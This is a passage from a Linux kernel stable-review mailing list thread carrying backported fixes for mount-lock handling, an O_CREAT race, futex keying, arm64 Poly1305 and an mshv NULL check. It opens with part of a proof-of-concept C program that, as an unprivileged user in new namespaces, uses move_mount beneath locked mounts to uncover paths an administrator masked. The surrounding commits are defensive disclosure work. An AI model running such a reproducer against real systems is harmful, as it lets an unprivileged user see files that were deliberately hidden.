mount(W "/maskdir", W "/Dd", NULL, MS_BIND, NULL))
die("covers");
if (mount("dbg", W "/dbg", "debugfs", 0, "mode=755"))
die("mount debugfs");
}
static void become_attacker(void)
{
if (setgroups(0, NULL) || setresgid(1000, 1000, 1000) ||
setresuid(1000, 1000, 1000) || prctl(PR_SET_DUMPABLE, 1))
die("drop to uid 1000");
if (unshare(CLONE_NEWUSER | CLONE_NEWNS))
die("unshare user and mount namespace");
write_str("/proc/self/setgroups", "deny");
write_str("/proc/self/uid_map", "0 1000 1");
write_str("/proc/self/gid_map", "0 1000 1");
}
/* clone the mount at @src and put the clone beneath the top mount at @where */
static int beneath(const char *src, const char *where)
{
char what[128];
int fd = open_tree(AT_FDCWD, src, OPEN_TREE_CLONE | OPEN_TREE_CLOEXEC);
int ret;
snprintf(what, sizeof(what), "open_tree(%s, OPEN_TREE_CLONE)", src);
if (say(what, fd < 0))
return -1;
ret = move_mount(fd, "", AT_FDCWD, where,
MOVE_MOUNT_F_EMPTY_PATH | MOVE_MOUNT_BENEATH);
snprintf(what, sizeof(what), "move_mount(clone, %s, MOVE_MOUNT_BENEATH)", where);
say(what, ret);
close(fd);
return ret;
}
static void do_nsfile(int control)
{
char path[64] = W "/own/mine";
int pfd[2];
pid_t pid;
char c;
if (pipe(pfd))
die("pipe");
pid = fork();
if (pid < 0)
die("fork");
if (!pid) {
if (unshare(CLONE_NEWNS) || write(pfd[1], "g", 1) != 1)
die("child");
pause();
exit(0);
}
if (read(pfd[0], &c, 1) != 1)
die("sync");
if (!control)
snprintf(path, sizeof(path), "/proc/%d/ns/mnt", pid);
beneath(path, W "/D");
mounts();
say("unshare(CLONE_NEWNS)", unshare(CLONE_NEWNS));
show(W "/D");
mounts();
kill(pid, SIGKILL);
waitpid(pid, NULL, 0);
}
static void do_shrink(int control)
{
const char *automount = getenv("AUTOMOUNT_DIR");
int fd, mfd;
if (!automount)
automount = W "/dbg/tracing";
beneath(control ? W "/own/minedir" : automount, W "/Dd");
say("umount2(Dd, 0), the old cover", umount2(W "/Dd", 0));
say("umount2(Dd, 0), the mount that was put beneath", umount2(W "/Dd", 0));
show(W "/Dd/inner");
say("umount2(W, 0)", umount2(W, 0));
fd = fsopen("tmpfs", FSOPEN_CLOEXEC);
if (fd < 0 || fsconfig(fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0))
die("fsopen tmpfs");
mfd = fsmount(fd, FSMOUNT_CLOEXEC, 0);
if (mfd < 0)
die("fsmount");
say("move_mount(new tmpfs, W, MOVE_MOUNT_BENEATH)",
move_mount(mfd, "", AT_FDCWD, W, MOVE_MOUNT_F_EMPTY_PATH | MOVE_MOUNT_BENEATH));
close(mfd);
mounts();
say("umount2(W, 0)", umount2(W, 0));
show(W "/Dd/inner");
mounts();
}
int main(int argc, char **argv)
{
const char *mode = argc > 1 ? argv[1] : "plain";
setvbuf(stdout, NULL, _IOLBF, 0);
admin_setup();
become_attacker();
show(W "/D");
show(W "/Dd/inner");
say("umount2(D, MNT_DETACH)", umount2(W "/D", MNT_DETACH));
say("umount2(Dd, MNT_DETACH)", umount2(W "/Dd", MNT_DETACH));
if (!strcmp(mode, "plain")) {
beneath(W "/own/mine", W "/D");
show(W "/D");
say("umount2(D, MNT_DETACH), the old cover", umount2(W "/D", MNT_DETACH));
show(W "/D");
say("umount2(D, MNT_DETACH), the mount that was put beneath",
umount2(W "/D", MNT_DETACH));
show(W "/D");
mounts();
} else if (!strncmp(mode, "nsfile", 6)) {
do_nsfile(!strcmp(mode, "nsfile-control"));
} else {
do_shrink(!strcmp(mode, "shrink-control"));
}
return 0;
}
Fixes: c62a4766937e ("move_mount: transfer MNT_LOCKED")
Reported-by: Chris Mason <mason@kernel.org>
Cc: stable@vger.kernel.org # v7.1+
Link: https://patch.msgid.link/20261014-work-namei-locked-mnt_ns_file-v1-1-24035bd5d8e9@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/namespace.c | 19 +++++++++++++++++--
1 file changed, 17 insertions(+), 2 deletions(-)
--- a/fs/namespace.c
+++ b/fs/namespace.c
@@ -2221,6 +2221,11 @@ struct mount *copy_tree(struct mount *sr
}
if (!(flag & CL_COPY_MNT_NS_FILE) &&
is_mnt_ns_file(src_mnt->mnt.mnt_root)) {
+ if (src_mnt->mnt.mnt_flags & MNT_LOCKED) {
+ /* Both a mount namespace file and locked. */
+ dst_mnt = ERR_PTR(-EPERM);
+ goto out;
+ }
src_mnt = skip_mnt_tree(src_mnt);
continue;
}
@@ -3607,8 +3612,9 @@ static bool mount_is_ancestor(const stru
* @mnt_to: mount under which to mount
* @mp: mountpoint of @mnt_to
*
- * - Make sure that the caller can unmount the topmost mount ensuring
- * that the caller could reveal the underlying mountpoint.
+ * - Make sure that @mnt_from can take over the lock of @mnt_to. A
+ * mount of a mount namespace file is left out of a copy of the tree
+ * and can't.
* - Ensure that nothing has been mounted on top of @mnt_from before we
* grabbed @namespace_sem to avoid creating pointless shadow mounts.
* - Prevent mounting beneath a mount if the propagation relationship
@@ -3624,6 +3630,15 @@ static int can_move_mount_beneath(const
{
struct mount *parent_mnt_to = mnt_to->mnt_parent;
+ /*
+ * @mnt_from takes over the lock of @mnt_to. copy_tree() leaves a
+ * mount of a mount namespace file out of every copy made without
+ * CL_COPY_MNT_NS_FILE, together with what is mounted on it, so it
+ * can't keep anything hidden.
+ */
+ if (IS_MNT_LOCKED(mnt_to) && is_mnt_ns_file(mnt_from->mnt.mnt_root))
+ return -EINVAL;
+
/* Avoid creating shadow mounts during mount propagation. */
if (mnt_from->overmount)
return -EINVAL;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 119/242] namei: test for a negative dentry the way traverse_mounts() does
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (116 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 118/242] namespace: a mount that copy_tree() leaves out cant take over a lock Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 120/242] futex: Fix mm reuse handling for FUT_OFF_MMSHARED Greg Kroah-Hartman
` (123 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jeff Layton,
Christian Brauner (Amutable)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
commit 98b6cf102b35b2bb48d1fd74d5f664eb66fe83eb upstream.
lookup_fast_for_open() only hands an O_CREAT open a cached dentry if
it's positive. Otherwise the open goes on to lookup_open(), which takes
the directory lock and creates the file. It tests for that with
!dentry->d_inode, but traverse_mounts() later decides with the type in
d_flags. And when a dentry is instantiated __d_set_inode_and_type()
stores ->d_inode first and only then releases the type into ->d_flags.
So a refwalk that took its reference to a negative dentry right before
another task instantiates it can find ->d_inode already set in
lookup_fast_for_open(), go on to step_into(), and still find the
negative type in traverse_mounts(). The open then fails with -ENOENT,
which an O_CREAT open must never do. rcuwalk doesn't get that far, the
d_seq check in step_into() catches the instantiation.
Use d_is_negative() so both look at the type. While the type is still
negative the open takes lookup_open() and waits for the directory lock
like any other O_CREAT open of a negative dentry.
On its own the window is a couple of instructions in the creating task,
so it takes an interrupt or a preempted vcpu in exactly the right spot.
I haven't caught it without help in about 600 million racing O_CREAT
opens.
The debug patch below stalls the creating task between the two stores
for names starting with "ocrace", the way an interrupt landing there
would. The reproducer below opens "ocrace" with O_CREAT through
symlinks on a strictatime tmpfs: following them updates their atime,
which drops the walk out of rcuwalk, so the name is always looked up in
refwalk. With
echo 20 > /proc/sys/fs/ocrace_instantiate_us
./ocreat_enoent -t 60
on a KASAN kernel open() failed with -ENOENT 43 times in 4.9 million
calls. With this patch it never failed in 4.8 million calls. Tracing
step_into_slowpath() during such a run, each of the 98 -ENOENTs it
returned came right after the same task had entered it with a dentry
that was still typed negative.
// SPDX-License-Identifier: GPL-2.0
/*
* ocreat_enoent: open(O_CREAT) racing the creation of the same name.
*
* Writers unlink "ocrace" and create it again. Readers open it with
* O_CREAT through a symlink of their own on a strictatime tmpfs.
* Following the symlink updates its atime, which drops the walk out of
* rcu mode, so the name is always looked up in refwalk. An O_CREAT open
* must never fail with ENOENT.
*
* -p arms a cpu-clock perf timer with that period in ns on every writer,
* so that interrupts land at random points in it.
*
* usage: ocreat_enoent [-t secs] [-w writers] [-r readers] [-p ns]
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdatomic.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <linux/perf_event.h>
#define DIR "/tmp/oc"
static atomic_int stop;
static atomic_long opens, creates, enoent, other;
static long period;
static void die(const char *what)
{
fprintf(stderr, "FATAL %s: %s\n", what, strerror(errno));
exit(2);
}
static void *writer(void *arg)
{
(void)arg;
if (period) {
struct perf_event_attr attr = {
.type = PERF_TYPE_SOFTWARE,
.size = sizeof(attr),
.config = PERF_COUNT_SW_CPU_CLOCK,
.sample_period = period,
};
if (syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0) < 0)
die("perf_event_open");
}
while (!atomic_load(&stop)) {
int fd;
unlink(DIR "/ocrace");
fd = open(DIR "/ocrace", O_CREAT | O_RDWR | O_CLOEXEC, 0644);
if (fd >= 0)
close(fd);
atomic_fetch_add(&creates, 1);
}
return NULL;
}
static void *reader(void *arg)
{
char lnk[64];
snprintf(lnk, sizeof(lnk), DIR "/lnk.%ld", (long)arg);
while (!atomic_load(&stop)) {
int fd = open(lnk, O_CREAT | O_RDWR | O_CLOEXEC, 0644);
if (fd >= 0)
close(fd);
else if (errno == ENOENT)
atomic_fetch_add(&enoent, 1);
else
atomic_fetch_add(&other, 1);
atomic_fetch_add(&opens, 1);
}
return NULL;
}
int main(int argc, char **argv)
{
int secs = 60, nw = 4, nr = 12, c, n = 0;
pthread_t t[256];
while ((c = getopt(argc, argv, "t:w:r:p:")) != -1) {
switch (c) {
case 't': secs = atoi(optarg); break;
case 'w': nw = atoi(optarg); break;
case 'r': nr = atoi(optarg); break;
case 'p': period = atol(optarg); break;
default: return 2;
}
}
if (nw + nr > 256)
return 2;
mkdir(DIR, 0755);
if (mount("oc", DIR, "tmpfs", MS_STRICTATIME, "mode=0755"))
die("tmpfs");
for (long i = 0; i < nr; i++) {
char lnk[64];
snprintf(lnk, sizeof(lnk), DIR "/lnk.%ld", i);
if (symlink("ocrace", lnk))
die("symlink");
}
for (long i = 0; i < nw; i++)
if (pthread_create(&t[n++], NULL, writer, NULL))
die("writer");
for (long i = 0; i < nr; i++)
if (pthread_create(&t[n++], NULL, reader, (void *)i))
die("reader");
sleep(secs);
atomic_store(&stop, 1);
for (int i = 0; i < n; i++)
pthread_join(t[i], NULL);
printf("%ds: %ld opens, %ld creates, ENOENT %ld, other errors %ld\n",
secs, atomic_load(&opens), atomic_load(&creates),
atomic_load(&enoent), atomic_load(&other));
umount2(DIR, MNT_DETACH);
return atomic_load(&enoent) ? 1 : 0;
}
# diff --git a/fs/dcache.c b/fs/dcache.c
# --- a/fs/dcache.c
# +++ b/fs/dcache.c
# @@ -32,9 +32,13 @@
# #include <linux/bit_spinlock.h>
# #include <linux/rculist_bl.h>
# #include <linux/list_lru.h>
# +#include <linux/delay.h>
# #include "internal.h"
# #include "mount.h"
#
# +/* debug: stall "ocrace*" names between ->d_inode and the type */
# +static int sysctl_ocrace_instantiate_us;
# +
# #include <asm/runtime-const.h>
#
# /*
# @@ -200,6 +204,13 @@
# }
#
# static const struct ctl_table fs_dcache_sysctls[] = {
# + {
# + .procname = "ocrace_instantiate_us",
# + .data = &sysctl_ocrace_instantiate_us,
# + .maxlen = sizeof(int),
# + .mode = 0644,
# + .proc_handler = proc_dointvec,
# + },
# {
# .procname = "dentry-state",
# .data = &dentry_stat,
# @@ -405,6 +416,10 @@
# unsigned flags;
#
# dentry->d_inode = inode;
# + /* debug: an interrupt landing right here */
# + if (unlikely(READ_ONCE(sysctl_ocrace_instantiate_us)) &&
# + !strncmp(dentry->d_name.name, "ocrace", 6))
# + udelay(READ_ONCE(sysctl_ocrace_instantiate_us));
# flags = READ_ONCE(dentry->d_flags);
# flags &= ~DCACHE_ENTRY_TYPE;
# flags |= type_flags;
Fixes: e747e15156b7 ("fs: try an opportunistic lookup for O_CREAT opens too")
Cc: stable@vger.kernel.org # v6.12+
Link: https://patch.msgid.link/20261012-work-namei-ocreate-v1-1-c7883b17ee28@kernel.org
Reviewed-by: Jeff Layton <jlayton@kernel.org>
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/namei.c | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
--- a/fs/namei.c
+++ b/fs/namei.c
@@ -4576,8 +4576,7 @@ static struct dentry *lookup_fast_for_op
return dentry;
if (open_flag & O_CREAT) {
- /* Discard negative dentries. Need inode_lock to do the create */
- if (!dentry->d_inode) {
+ if (d_is_negative(dentry)) {
if (!(nd->flags & LOOKUP_RCU))
dput(dentry);
dentry = NULL;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 120/242] futex: Fix mm reuse handling for FUT_OFF_MMSHARED
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (117 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 119/242] namei: test for a negative dentry the way traverse_mounts() does Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 121/242] lib/crypto: arm64: Fix lost Poly1305 carry when resuming NEON state Greg Kroah-Hartman
` (122 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Jann Horn, Peter Zijlstra (Intel)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jann Horn <jannh@google.com>
commit 3267512ad1c2cc0c7768c5b014dc2cceb398a801 upstream.
A FUT_OFF_MMSHARED futex is a shared futex that refers to an MM.
It is possible for a process to wait on a shared futex with a different MM
because a FUT_OFF_INODE waiter can be requeued onto a FUT_OFF_MMSHARED
futex by another process.
This can cause FUT_OFF_MMSHARED waiters on a freed MM to consume
wakeups intended for a newly allocated MM at the same address.
Fix it by keying FUT_OFF_MMSHARED using a unique 64-bit per-MM ID.
Leave private futexes as before to avoid influencing the performance of the
hotpath.
(Multi-threaded processes typically implicitly use FUT_OFF_MMSHARED by
setting clear_child_tid such that it points into anonymous memory, which
causes mm_release() in a multi-threaded mm to perform FUTEX_WAKE.)
Fixes: 222993395ed3 ("futex: Remove pointless mmgrap() + mmdrop()")
Closes: https://lore.kernel.org/r/CAG48ez0dLBpc3QtbAhMMVNHwHL94iHh2G+h-=BVFR4dDuzZr1g@mail.gmail.com/
Signed-off-by: Jann Horn <jannh@google.com>
Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
Link: https://patch.msgid.link/20260929-futex-mmshared-fix-v1-1-262b1ffeb3d0@google.com
Cc: stable@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
include/linux/futex.h | 19 +++++++++-------
include/linux/futex_types.h | 2 +
kernel/futex/core.c | 51 ++++++++++++++++++++++++--------------------
3 files changed, 41 insertions(+), 31 deletions(-)
--- a/include/linux/futex.h
+++ b/include/linux/futex.h
@@ -23,28 +23,32 @@ struct task_struct;
* 01 : Shared futex (PTHREAD_PROCESS_SHARED)
* mapped on a file (reference on the underlying inode)
* 10 : Shared futex (PTHREAD_PROCESS_SHARED)
- * (but private mapping on an mm, and reference taken on it)
+ * (but private mapping on an mm)
*/
-#define FUT_OFF_INODE 1 /* We set bit 0 if key has a reference on inode */
-#define FUT_OFF_MMSHARED 2 /* We set bit 1 if key has a reference on mm */
+#define FUT_OFF_INODE 1 /* We set bit 0 if shared key identifies an inode */
+#define FUT_OFF_MMSHARED 2 /* We set bit 1 if shared key identifies an mm */
union futex_key {
+ /* For FUT_OFF_INODE */
struct {
u64 i_seq;
unsigned long pgoff;
unsigned int offset;
/* unsigned int node; */
} shared;
+
+ /* For FUT_OFF_MMSHARED or private */
struct {
union {
- struct mm_struct *mm;
- u64 __tmp;
+ struct mm_struct *mm; /* for private */
+ u64 mm_seq; /* for FUT_OFF_MMSHARED */
};
unsigned long address;
unsigned int offset;
/* unsigned int node; */
} private;
+
struct {
u64 ptr;
unsigned long word;
@@ -154,11 +158,10 @@ static inline void futex_set_vdso_cs_ran
static inline void futex_fixup_robust_unlock(struct pt_regs *regs) { }
#endif /* !CONFIG_FUTEX_ROBUST_UNLOCK */
-
-#if defined(CONFIG_FUTEX_PRIVATE_HASH) || defined(CONFIG_FUTEX_ROBUST_UNLOCK)
+#ifdef CONFIG_FUTEX
void futex_mm_init(struct mm_struct *mm);
#else
static inline void futex_mm_init(struct mm_struct *mm) { }
-#endif
+#endif /* !CONFIG_FUTEX */
#endif /* _LINUX_FUTEX_H */
--- a/include/linux/futex_types.h
+++ b/include/linux/futex_types.h
@@ -85,10 +85,12 @@ struct futex_unlock_cs_ranges { };
* struct futex_mm_data - Futex related per MM data
* @phash: Futex private hash related data
* @unlock: Futex unlock VDSO critical sections
+ * @unique_id: Unique ID of the MM, for FUT_OFF_MMSHARED futexes
*/
struct futex_mm_data {
struct futex_mm_phash phash;
struct futex_unlock_cs_ranges unlock;
+ atomic64_t unique_id;
};
#else /* CONFIG_FUTEX */
struct futex_sched_data { };
--- a/kernel/futex/core.c
+++ b/kernel/futex/core.c
@@ -442,45 +442,51 @@ struct hrtimer_sleeper *futex_setup_time
}
/*
- * Generate a machine wide unique identifier for this inode.
+ * Generate a machine wide unique identifier for this object (inode or mm).
*
* This relies on u64 not wrapping in the life-time of the machine; which with
* 1ns resolution means almost 585 years.
- *
- * This further relies on the fact that a well formed program will not unmap
- * the file while it has a (shared) futex waiting on it. This mapping will have
- * a file reference which pins the mount and inode.
- *
- * If for some reason an inode gets evicted and read back in again, it will get
- * a new sequence number and will _NOT_ match, even though it is the exact same
- * file.
- *
- * It is important that futex_match() will never have a false-positive, esp.
- * for PI futexes that can mess up the state. The above argues that false-negatives
- * are only possible for malformed programs.
*/
-static u64 get_inode_sequence_number(struct inode *inode)
+static u64 get_object_id(atomic64_t *object_seq)
{
- static atomic64_t i_seq;
+ static atomic64_t last_assigned_seq;
u64 old;
- /* Does the inode already have a sequence number? */
- old = atomic64_read(&inode->i_sequence);
+ /* Does the object already have a sequence number? */
+ old = atomic64_read(object_seq);
if (likely(old))
return old;
for (;;) {
- u64 new = atomic64_inc_return(&i_seq);
+ u64 new = atomic64_inc_return(&last_assigned_seq);
if (WARN_ON_ONCE(!new))
continue;
old = 0;
- if (!atomic64_try_cmpxchg_relaxed(&inode->i_sequence, &old, new))
+ if (!atomic64_try_cmpxchg_relaxed(object_seq, &old, new))
return old;
return new;
}
}
+/*
+ * This relies on the fact that a well formed program will not unmap
+ * the file while it has a (shared) futex waiting on it. This mapping will have
+ * a file reference which pins the mount and inode.
+ *
+ * If for some reason an inode gets evicted and read back in again, it will get
+ * a new sequence number and will _NOT_ match, even though it is the exact same
+ * file.
+ *
+ * It is important that futex_match() will never have a false-positive, esp.
+ * for PI futexes that can mess up the state. The above argues that false-negatives
+ * are only possible for malformed programs.
+ */
+static u64 get_inode_sequence_number(struct inode *inode)
+{
+ return get_object_id(&inode->i_sequence);
+}
+
/**
* get_futex_key() - Get parameters which are the keys for a futex
* @uaddr: virtual address of the futex
@@ -686,8 +692,8 @@ again:
goto out;
}
- key->both.offset |= FUT_OFF_MMSHARED; /* ref taken on mm */
- key->private.mm = mm;
+ key->both.offset |= FUT_OFF_MMSHARED;
+ key->private.mm_seq = get_object_id(&mm->futex.unique_id);
key->private.address = address;
} else {
@@ -2062,13 +2068,12 @@ static void futex_robust_unlock_init_mm(
static inline void futex_robust_unlock_init_mm(struct futex_mm_data *fd) { }
#endif /* !CONFIG_FUTEX_ROBUST_UNLOCK */
-#if defined(CONFIG_FUTEX_PRIVATE_HASH) || defined(CONFIG_FUTEX_ROBUST_UNLOCK)
void futex_mm_init(struct mm_struct *mm)
{
+ atomic64_set(&mm->futex.unique_id, 0);
futex_hash_init_mm(&mm->futex);
futex_robust_unlock_init_mm(&mm->futex);
}
-#endif
int futex_hash_prctl(unsigned long arg2, unsigned long arg3, unsigned long arg4)
{
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 121/242] lib/crypto: arm64: Fix lost Poly1305 carry when resuming NEON state
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (118 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 120/242] futex: Fix mm reuse handling for FUT_OFF_MMSHARED Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 122/242] lib/crypto: poly1305: Use memzero_explicit() in poly1305_final() Greg Kroah-Hartman
` (121 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jason A. Donenfeld,
Jérémy Jean, Eric Biggers
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jérémy Jean <Jeremy.Jean@oss.cyber.gouv.fr>
commit 24f07e8c07a0c0dd275331cbb41c79a78741eef9 upstream.
When poly1305_blocks_neon() resumes from a base 2^26 accumulator and the
next update contains an odd number of full 16-byte blocks, it processes
one leading block through poly1305_mult() so that the remaining NEON
work has an even block count. That requires converting the accumulator
to the base 2^64 form used by poly1305_mult(). The final ADC of that
conversion stores the carry into d2, but the following accumulation and
poly1305_mult() use h2. If the conversion carries across bit 128, the
carry is dropped and the emitted tag is wrong.
This was introduced by Cryptogams commit 03dc4adf91c8
("arm/poly1305-armv*.pl: optimize branches."), which removed the
reduction that consumed d2 shortly before Linux imported the code.
OpenSSL's copy did not take that change.
The carry is possible because the NEON code stores the accumulator [h0,
h1, h2, h3, h4] in a lazily reduced, redundant base 2^26 form: its final
carry chain leaves h0, h2, h3 < 2^26, but h1 and h4 may slightly exceed
2^26 - 1. For example, the reachable state
h0 = 4
h1 = 2^26
h2 = 2^26 - 1
h3 = 2^26 - 1
h4 = 2^24 - 1
represents 4 + 2^26*2^26 + (2^26-1)*2^52 + (2^26-1)*2^78 +
(2^24-1)*2^104 = 2^128 + 4, despite the bit representing the 2^128 term
(bit 24 of h4) not being set; the extra comes from the h1 limb being
above the normal base 2^26 range. When this value is converted into the
non-redundant base 2^64 form, a carry into the new 2^128 bit (in bit 0
of h2) is necessary to preserve the value.
Given the above bounds, a carry into bit 128 happens exactly when
h1 >= 2^26, h2 = h3 = 2^26 - 1, and h4 mod 2^24 = 2^24 - 1.
Store the carry into h2, matching the other base 2^26 to base 2^64
conversions in poly1305_blocks() and poly1305_emit().
This bug causes an incorrect tag to be emitted. However, this is
unlikely to happen in practice where Poly1305 is used with a random key,
since the random key tends to distribute the accumulator values
throughout their valid range. There isn't an obvious way for an
attacker without knowledge of the r_key to cause [h0, h1, h2, h3, h4] to
land on the precise values where this bug occurs.
[EB: Rewrote the commit message to more clearly describe the bug and
its impact, and simplified explanation about why there's a carry bit.]
Fixes: f569ca164751 ("crypto: arm64/poly1305 - incorporate OpenSSL/CRYPTOGAMS NEON implementation")
Cc: stable@vger.kernel.org
Assisted-by: LLM
Reviewed-by: Jason A. Donenfeld <Jason@zx2c4.com>
Signed-off-by: Jérémy Jean <Jeremy.Jean@oss.cyber.gouv.fr>
Link: https://patch.msgid.link/20261009125354.315476-2-ebiggers@kernel.org
Signed-off-by: Eric Biggers <ebiggers@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
lib/crypto/arm64/poly1305-armv8.pl | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/lib/crypto/arm64/poly1305-armv8.pl
+++ b/lib/crypto/arm64/poly1305-armv8.pl
@@ -375,7 +375,7 @@ poly1305_blocks_neon:
adc $h1,$h1,xzr
lsr $h2,x14,#24
adds $h1,$h1,x14,lsl#40
- adc $d2,$h2,xzr // can be partially reduced...
+ adc $h2,$h2,xzr // preserve carry into top limb
ldp $d0,$d1,[$inp],#16 // load input
sub $len,$len,#16
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 122/242] lib/crypto: poly1305: Use memzero_explicit() in poly1305_final()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (119 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 121/242] lib/crypto: arm64: Fix lost Poly1305 carry when resuming NEON state Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 123/242] mshv_vtl: Check per-CPU register page before mmap Greg Kroah-Hartman
` (120 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Sashiko, Ard Biesheuvel,
Eric Biggers
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Eric Biggers <ebiggers@kernel.org>
commit da619121a5d271e78ec709a1f9a3c5f99b9e10ad upstream.
Use memzero_explicit() instead of a plain struct assignment to guarantee
zeroization of the 'struct poly1305_desc_ctx'.
Note that dead store elimination was only theoretically possible with
link-time optimization here. But it's still worth fixing.
Fixes: a1d93064094c ("crypto: poly1305 - expose init/update/final library interface")
Cc: stable@vger.kernel.org
Reported-by: Sashiko <sashiko-bot@kernel.org>
Closes: https://sashiko.dev/#/bug/linux-c3a6bd76-f6ab-4203-892a-cd06f7aa0c34
Reviewed-by: Ard Biesheuvel <ardb@kernel.org>
Link: https://patch.msgid.link/20261006083432.16328-1-ebiggers@kernel.org
Signed-off-by: Eric Biggers <ebiggers@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
lib/crypto/poly1305.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/lib/crypto/poly1305.c
+++ b/lib/crypto/poly1305.c
@@ -78,7 +78,7 @@ void poly1305_final(struct poly1305_desc
}
poly1305_emit(&desc->state.h, dst, desc->s);
- *desc = (struct poly1305_desc_ctx){};
+ memzero_explicit(desc, sizeof(*desc));
}
EXPORT_SYMBOL(poly1305_final);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 123/242] mshv_vtl: Check per-CPU register page before mmap
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (120 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 122/242] lib/crypto: poly1305: Use memzero_explicit() in poly1305_final() Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 124/242] net/sched: fix use-after-free in __tcf_action_put() Greg Kroah-Hartman
` (119 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Hardik Garg, Naman Jain, Wei Liu
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Hardik Garg <hargar@linux.microsoft.com>
commit 874194a8de75fc2f4d1fb70c670b289b7e48f93e upstream.
Register-page setup is optional for each CPU. If allocation or
registration fails, mshv_vtl_configure_reg_page() warns and leaves that
CPU's reg_page NULL, but initial context setup continues successfully.
Meanwhile, successful setup on another CPU sets the global
mshv_has_reg_page flag.
mshv_vtl_fault() checks this global flag before selecting the requested
CPU's register page. With mixed setup results across online CPUs, the
check passes even for a CPU with no register page, reaching
get_page(NULL) when userspace faults in that mapping.
Check the selected per-CPU register page before taking its reference and
return VM_FAULT_SIGBUS if it is absent.
Fixes: 7bfe3b8ea6e3 ("Drivers: hv: Introduce mshv_vtl driver")
Cc: stable@vger.kernel.org
Signed-off-by: Hardik Garg <hargar@linux.microsoft.com>
Reviewed-by: Naman Jain <namjain@linux.microsoft.com>
Signed-off-by: Wei Liu <wei.liu@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/hv/mshv_vtl_main.c | 3 +++
1 file changed, 3 insertions(+)
--- a/drivers/hv/mshv_vtl_main.c
+++ b/drivers/hv/mshv_vtl_main.c
@@ -819,6 +819,9 @@ static vm_fault_t mshv_vtl_fault(struct
return VM_FAULT_NOPAGE;
}
+ if (!page)
+ return VM_FAULT_SIGBUS;
+
get_page(page);
vmf->page = page;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 124/242] net/sched: fix use-after-free in __tcf_action_put()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (121 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 123/242] mshv_vtl: Check per-CPU register page before mmap Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 125/242] net: rds: fix uninitialized trans dereference in CM event handler Greg Kroah-Hartman
` (118 subsequent siblings)
